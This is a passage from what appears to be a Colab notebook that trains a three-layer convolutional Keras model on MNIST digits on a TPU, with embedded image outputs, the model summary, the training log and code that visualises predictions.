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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} } ] }, { "cell_type": "markdown", "metadata": { "id": "KIc0oqiD40HC" }, "source": [ "### Keras model: 3 convolutional layers, 2 dense layers\n", "If you are not sure what cross-entropy, dropout, softmax or batch-normalization mean, head here for a crash-course: [Tensorflow and deep learning without a PhD](https://github.com/GoogleCloudPlatform/tensorflow-without-a-phd/#featured-code-sample)" ] }, { "cell_type": "code", "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "56y8UNFQIVwj", "outputId": "e0d1e4a1-94fa-4db6-8b35-9e27f4720ea6" }, "source": [ "# This model trains to 99.4% accuracy in 10 epochs (with a batch size of 64) \n", "\n", "def make_model():\n", " model = tf.keras.Sequential(\n", " [\n", " tf.keras.layers.Reshape(input_shape=(28*28,), target_shape=(28, 28, 1), name=\"image\"),\n", "\n", " tf.keras.layers.Conv2D(filters=12, kernel_size=3, padding='same', use_bias=False), # no bias necessary before batch norm\n", " tf.keras.layers.BatchNormalization(scale=False, center=True), # no batch norm scaling necessary before \"relu\"\n", " tf.keras.layers.Activation('relu'), # activation after batch norm\n", "\n", " tf.keras.layers.Conv2D(filters=24, kernel_size=6, padding='same', use_bias=False, strides=2),\n", " tf.keras.layers.BatchNormalization(scale=False, center=True),\n", " tf.keras.layers.Activation('relu'),\n", "\n", " tf.keras.layers.Conv2D(filters=32, kernel_size=6, padding='same', use_bias=False, strides=2),\n", " tf.keras.layers.BatchNormalization(scale=False, center=True),\n", " tf.keras.layers.Activation('relu'),\n", "\n", " tf.keras.layers.Flatten(),\n", " tf.keras.layers.Dense(200, use_bias=False),\n", " tf.keras.layers.BatchNormalization(scale=False, center=True),\n", " tf.keras.layers.Activation('relu'),\n", " tf.keras.layers.Dropout(0.4), # Dropout on dense layer only\n", "\n", " tf.keras.layers.Dense(10, activation='softmax')\n", " ])\n", "\n", " model.compile(optimizer='adam', # learning rate will be set by LearningRateScheduler\n", " loss='categorical_crossentropy',\n", " metrics=['accuracy'])\n", " # Going back and forth between TPU and host is expensive. Better to run 128 batches on the TPU before reporting back.\n", " return model\n", " \n", "with strategy.scope():\n", " model = make_model()\n", "\n", "# print model layers\n", "model.summary()\n", "\n", "# set up learning rate decay\n", "lr_decay = tf.keras.callbacks.LearningRateScheduler(\n", " lambda epoch: LEARNING_RATE * LEARNING_RATE_EXP_DECAY**epoch,\n", " verbose=True)" ], "execution_count": 8, "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "Model: \"sequential\"\n", "_________________________________________________________________\n", "Layer (type) Output Shape Param # \n", "=================================================================\n", "image (Reshape) (None, 28, 28, 1) 0 \n", "_________________________________________________________________\n", "conv2d (Conv2D) (None, 28, 28, 12) 108 \n", "_________________________________________________________________\n", "batch_normalization (BatchNo (None, 28, 28, 12) 36 \n", "_________________________________________________________________\n", "activation (Activation) (None, 28, 28, 12) 0 \n", "_________________________________________________________________\n", "conv2d_1 (Conv2D) (None, 14, 14, 24) 10368 \n", "_________________________________________________________________\n", "batch_normalization_1 (Batch (None, 14, 14, 24) 72 \n", "_________________________________________________________________\n", "activation_1 (Activation) (None, 14, 14, 24) 0 \n", "_________________________________________________________________\n", "conv2d_2 (Conv2D) (None, 7, 7, 32) 27648 \n", "_________________________________________________________________\n", "batch_normalization_2 (Batch (None, 7, 7, 32) 96 \n", "_________________________________________________________________\n", "activation_2 (Activation) (None, 7, 7, 32) 0 \n", "_________________________________________________________________\n", "flatten (Flatten) (None, 1568) 0 \n", "_________________________________________________________________\n", "dense (Dense) (None, 200) 313600 \n", "_________________________________________________________________\n", "batch_normalization_3 (Batch (None, 200) 600 \n", "_________________________________________________________________\n", "activation_3 (Activation) (None, 200) 0 \n", "_________________________________________________________________\n", "dropout (Dropout) (None, 200) 0 \n", "_________________________________________________________________\n", "dense_1 (Dense) (None, 10) 2010 \n", "=================================================================\n", "Total params: 354,538\n", "Trainable params: 354,002\n", "Non-trainable params: 536\n", "_________________________________________________________________\n" ] } ] }, { "cell_type": "markdown", "metadata": { "id": "CuhDh8ao8VyB" }, "source": [ "### Train and validate the model" ] }, { "cell_type": "code", "metadata": { "colab": { "base_uri": "https://localhost:8080/" }, "id": "TTwH_P-ZJ_xx", "outputId": "9b18bcc5-7816-4602-d36d-52dae581d13a" }, "source": [ "EPOCHS = 10\n", "steps_per_epoch = 60000//BATCH_SIZE # 60,000 items in this dataset\n", "print(\"Steps per epoch: \", steps_per_epoch)\n", " \n", "history = model.fit(training_dataset,\n", " steps_per_epoch=steps_per_epoch, epochs=EPOCHS,\n", " validation_data=validation_dataset, validation_steps=1,\n", " callbacks=[lr_decay])" ], "execution_count": 9, "outputs": [ { "output_type": "stream", "name": "stdout", "text": [ "Steps per epoch: 117\n", "Epoch 1/10\n", "\n", "Epoch 00001: LearningRateScheduler setting learning rate to 0.01.\n", "117/117 [==============================] - 10s 39ms/step - loss: 0.1678 - accuracy: 0.9493 - val_loss: 3.1334 - val_accuracy: 0.1425\n", "Epoch 2/10\n", "\n", "Epoch 00002: LearningRateScheduler setting learning rate to 0.006999999999999999.\n", "117/117 [==============================] - 2s 18ms/step - loss: 0.0516 - accuracy: 0.9843 - val_loss: 3.3389 - val_accuracy: 0.1972\n", "Epoch 3/10\n", "\n", "Epoch 00003: LearningRateScheduler setting learning rate to 0.0049.\n", "117/117 [==============================] - 2s 18ms/step - loss: 0.0322 - accuracy: 0.9899 - val_loss: 0.6359 - val_accuracy: 0.7760\n", "Epoch 4/10\n", "\n", "Epoch 00004: LearningRateScheduler setting learning rate to 0.003429999999999999.\n", "117/117 [==============================] - 2s 17ms/step - loss: 0.0236 - accuracy: 0.9924 - val_loss: 0.0654 - val_accuracy: 0.9786\n", "Epoch 5/10\n", "\n", "Epoch 00005: LearningRateScheduler setting learning rate to 0.0024009999999999995.\n", "117/117 [==============================] - 2s 17ms/step - loss: 0.0170 - accuracy: 0.9949 - val_loss: 0.0428 - val_accuracy: 0.9870\n", "Epoch 6/10\n", "\n", "Epoch 00006: LearningRateScheduler setting learning rate to 0.0016806999999999994.\n", "117/117 [==============================] - 2s 18ms/step - loss: 0.0122 - accuracy: 0.9965 - val_loss: 0.0261 - val_accuracy: 0.9920\n", "Epoch 7/10\n", "\n", "Epoch 00007: LearningRateScheduler setting learning rate to 0.0011764899999999997.\n", "117/117 [==============================] - 2s 18ms/step - loss: 0.0099 - accuracy: 0.9973 - val_loss: 0.0194 - val_accuracy: 0.9937\n", "Epoch 8/10\n", "\n", "Epoch 00008: LearningRateScheduler setting learning rate to 0.0008235429999999996.\n", "117/117 [==============================] - 2s 18ms/step - loss: 0.0084 - accuracy: 0.9977 - val_loss: 0.0209 - val_accuracy: 0.9929\n", "Epoch 9/10\n", "\n", "Epoch 00009: LearningRateScheduler setting learning rate to 0.0005764800999999997.\n", "117/117 [==============================] - 2s 18ms/step - loss: 0.0074 - accuracy: 0.9982 - val_loss: 0.0191 - val_accuracy: 0.9939\n", "Epoch 10/10\n", "\n", "Epoch 00010: LearningRateScheduler setting learning rate to 0.0004035360699999998.\n", "117/117 [==============================] - 2s 18ms/step - loss: 0.0063 - accuracy: 0.9984 - val_loss: 0.0195 - val_accuracy: 0.9937\n" ] } ] }, { "cell_type": "markdown", "metadata": { "id": "9jFVovcUUVs1" }, "source": [ "### Visualize predictions" ] }, { "cell_type": "code", "metadata": { "colab": { "base_uri": "https://localhost:8080/", "height": 561 }, "id": "w12OId8Mz7dF", "outputId": "bb4b80d0-d2ae-4e61-d0e2-faa609a0360f" }, "source": [ "# recognize digits from local fonts\n", "probabilities = model.predict(font_digits, steps=1)\n", "predicted_labels = np.argmax(probabilities, axis=1)\n", "display_digits(font_digits, predicted_labels, font_labels, \"predictions from local fonts (bad predictions in red)\", N)\n", "\n", "# recognize validation digits\n", "probabilities = model.predict(validation_digits, steps=1)\n", "predicted_labels = np.argmax(probabilities, axis=1)\n", "display_top_unrecognized(validation_digits, predicted_labels, validation_labels, N, 7)" ], "execution_count": 10, "outputs": [ { "output_type": "display_data", "data": { "image/png": "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